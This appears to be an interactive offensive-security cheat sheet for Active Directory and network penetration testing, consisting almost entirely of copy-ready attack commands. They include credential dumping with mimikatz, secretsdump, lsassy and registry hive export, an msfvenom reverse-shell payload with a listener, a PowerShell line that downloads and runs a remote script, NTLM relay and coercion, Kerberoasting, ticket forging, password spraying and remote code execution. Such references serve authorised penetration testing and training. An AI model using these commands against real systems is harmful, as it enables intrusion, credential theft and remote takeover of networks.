0xrefs

0xrefs is an interactive cheat sheet of offensive-security commands. Fill in the variables once ($IP, $USER, $PASSWORD, …) and every command updates with your values, ready to copy. Use the checkboxes or type <command> +<filter> to search.

Load the set into your shell history, pick which commands and which shell:

Commands:

History:

Only Linux CLI commands load into your history, Windows commands stay cheat-sheet only.

auth_ldap $IP $USER -p $PASSWORD $DOMAIN [-ldap|-ldaps]

uv run bloodhound.py -u $USER -p $PASSWORD -d $DOMAIN -v --zip -c All -dc $DOMAIN -ns $IP

bloodyAD --host $IP -d $DOMAIN -u $USER -p $PASSWORD get writable --detail

Certify.exe cas

certipy find -dc-ip $DCIP -u $USER@$DOMAIN -p $PASSWORD -vulnerable -stdout certipy find -k -target $DC -vulnerable -stdout

credspray.sh -t $IP -u findings.txt -c findings.txt

uv run dementor.py -u $USER -p $PASSWORD -d $DOMAIN $LHOST $IP

evil-winrm -i $IP -u $USER -p $PASSWORD

ffuf -u http://$IP/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 300 -fs 3142

uv run FindUncommonShares.py --dc-ip $IP -u '$USER' -d '$DOMAIN' -p '$PASSWORD'

uv run gettgtpkinit.py $DOMAIN/$DC -cert-pfx crt.pfx -pfx-pass $PASSWORD out.ccache

uv run gtfobinsuid.py

hashcat -m 1000 hashes.ntlm2 /usr/share/wordlists/rockyou.txt --username

impacket-addcomputer -dc-ip $IP -method LDAPS -computer-pass $NEWPASSWORD -computer-name EVILPC $DOMAIN/$USER:$PASSWORD

impacket-atexec $DOMAIN/$USER:$PASSWORD@$IP whoami

impacket-changepasswd -protocol kpasswd '$DOMAIN/$USER:$PASSWORD'@$DCIP -newpass $NEWPASSWORD

impacket-dcomexec -object MMC20 $DOMAIN/$USER:$PASSWORD@$IP

impacket-Get-GPPPassword -dc-ip $IP '$DOMAIN/$USER:$PASSWORD@$DC.$DOMAIN'

impacket-GetADUsers -dc-ip $IP -all $DOMAIN/$USER:$PASSWORD

impacket-GetNPUsers -dc-ip $IP $DOMAIN/ -usersfile usernames.txt -format hashcat -outputfile hashes.asrep

impacket-getPac -targetUser $TARGET_USER $DOMAIN/$USER:$PASSWORD

impacket-getST -dc-ip $IP -spn $SPN -impersonate administrator $DOMAIN/$USER:$PASSWORD

impacket-getTGT -dc-ip $DCIP $DOMAIN/$USER:$PASSWORD

impacket-GetUserSPNs -dc-ip $IP $DOMAIN/$USER:$PASSWORD

impacket-lookupsid $DOMAIN/$USER:$PASSWORD@$IP

impacket-mssqlclient $USER:$PASSWORD@$IP -windows-auth

impacket-ntlmrelayx -smb2support -t smb://$IP -c 'whoami /all' -debug

impacket-psexec $DOMAIN/$USER:$PASSWORD@$IP

impacket-rbcd -dc-ip $IP -action write -delegate-to "$DC$" -delegate-from "EVILPC$" -hashes :$HASH $DOMAIN/$USER

impacket-rpcdump $DOMAIN/$USER:$PASSWORD@$IP

impacket-samrdump $DOMAIN/$USER:$PASSWORD@$IP

impacket-secretsdump $DOMAIN/$USER:$PASSWORD@$IP

impacket-services $DOMAIN/$USER:$PASSWORD@$IP list

impacket-smbexec -hashes :$HASH $DOMAIN/$USER@$IP

impacket-ticketConverter ticket.kirbi ticket.ccache export KRB5CCNAME=ticket.ccache

impacket-ticketer -dc-ip $DCIP -nthash $HASH -domain-sid $SID -domain $DOMAIN -user-id $UID -groups '$GROUPS' $USER

impacket-wmiexec $DOMAIN/$USER:$PASSWORD@$IP

john --wordlist=/usr/share/wordlists/rockyou.txt hashes.bcrypt

ldapsearch -h $DOMAIN -D '$USER@$DOMAIN' -w $PASSWORD -b 'dc=$DOMAIN,dc=local'

./LinEnum-ng.sh

lsassy -u $USER -p $PASSWORD -d $DOMAIN $IP

.\mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" "exit"

mitm6 -d $DOMAIN --ignore-nofqnd

msfdb run

msfvenom -p linux/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f elf -o shell.elf msfconsole -x 'use exploit/multi/handler;set payload linux/x64/shell_reverse_tcp;set LHOST $LHOST;set LPORT $LPORT;run;'

mysql -h $IP -P 3306 -u root -p"" --skip-ssl

uv run nagoyaspray.py --seasons --months --start 2020 --end 2025 -s "!" -o passwords.txt

nmap -Pn -sCV -p- $IP -vv -oN nmap_full -T4 --min-rate 2000 --max-retries 20 --open

noauth_dns $IP $DOMAIN [subdomains.txt]

nuclei -target http://$IP -fr

nxc smb $IP -u '$USER' -p '$PASSWORD' --groups --local-groups --loggedon-users --rid-brute --sessions --users --shares --pass-pol nxc smb $IP -u 'a' -p '' nxc smb $IP -u '$USER' -p '$PASSWORD' -X 'whoami' nxc smb $IP -u $USER -p $PASSWORD -M coerce_plus nxc smb $IP -M timeroast nxc smb smb_hosts.txt --gen-relay-list relay_targets.txt

uv run PetitPotam.py -d $DOMAIN -u $USER -p $PASSWORD $LHOST $IP

pfx2john administrator.pfx > pfx.hash john --wordlist=/usr/share/wordlists/rockyou.txt pfx.hash

iex (new-object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/ADModule/master/Import-ActiveDirectory.ps1') Import-ActiveDirectory

uv run ldapmonitor.py --dc-ip $IP -u '$USER' -d '$DOMAIN' -p '$PASSWORD'

uv run pywhisker.py --dc-ip "$IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" --target "$TARGET_USER" --action "list"

redis-cli -h $IP --user $USER -a $PASSWORD

reg save HKLM\SAM C:\Temp\SAM reg save HKLM\SYSTEM C:\Temp\SYSTEM reg save HKLM\SECURITY C:\Temp\SECURITY

Responder -I eth0 -A

rpcclient -U '' -N $IP

Rubeus.exe kerberoast /domain:$DOMAIN /outfile:hashes.kerberoast

rusthound-ce -d $DOMAIN -u $USER@$DOMAIN -p $PASSWORD -z

SafetyKatz.exe "sekurlsa::logonpasswords" "exit"

scp nc.exe $USER@$IP:"C:\\users\\$USER"

Seatbelt.exe -group=all

SharpDump.exe

SharpHound.exe --CollectionMethods All --ZipFileName output.zip

SharpLDAPmonitor.exe /dcIP:$DCIP /user:$USER /pass:$PASSWORD

SharpUp.exe audit

SharpWMI.exe computername=$IP action=exec command="cmd.exe /c whoami > C:\Temp\out.txt"

smbclient \\\\$IP\\IT -U $USER%$PASSWORD

Snaffler.exe -s -d $DOMAIN -o snaffler.log -v data

snmpbulkwalk -v2c -c public $IP NET-SNMP-EXTEND-MIB::nsExtendObjects

ssh -L 1234:127.0.0.1:1234 $USER@$IP

./username-anarchy --input-file ./test-names.txt --select.format first.last

wfuzz -u http://$IP -H "Host: FUZZ.$DOMAIN" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --hh 315

winPEASany.exe

wpscan --url http://$IP --enumerate ap,u,t

xfreerdp3 /v:$IP /u:$USER /p:$PASSWORD /dynamic-resolution /cert:ignore